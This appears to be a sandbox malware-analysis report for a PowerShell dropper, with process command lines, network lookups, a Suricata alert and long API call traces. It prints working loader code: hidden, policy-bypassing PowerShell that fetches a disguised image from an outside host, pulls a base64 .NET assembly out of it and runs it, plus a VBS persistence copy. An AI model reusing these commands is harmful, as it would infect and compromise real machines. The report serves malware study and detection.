CpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2228

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp\', 'Google Chrome'))"

        1688

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }

      2264

Name Response Post-Analysis Lookup
apps.identrust.com
A 121.254.136.9
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 121.254.136.18
23.67.53.17
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
104.21.45.138
IP Address Status Action
121.254.136.9 Active Moloch
164.124.101.2 Active Moloch
172.67.215.45 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49166 -> 172.67.215.45:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49166
172.67.215.45:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:181
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmL
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: zIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: \', 'Google Chrome'))
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: At line:1 char:244
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_i
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: etString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE6
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: 4_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.In
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmL
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: zIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: \', 'Google Chrome'))
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: At line:1 char:350
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_i
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: mage.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes =
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.G
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: etString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: >';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.In
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: dexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $im
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: ageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]:
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: :FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: ]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method =
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmL
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063dbe0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d920
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d920
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d920
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d020
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d020
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d020
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d6e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063db20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d0e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0063d0e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311458
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311c18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311c18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311c18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00311b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 1310720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02880000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02980000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2228
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73951000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0233a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2228
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73952000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02332000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02342000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02981000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02982000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0236a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02343000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02344000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0237b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02377000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0233b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02362000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02375000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02345000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0236c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02346000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0237c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02363000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02364000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02365000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02366000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02367000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02368000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
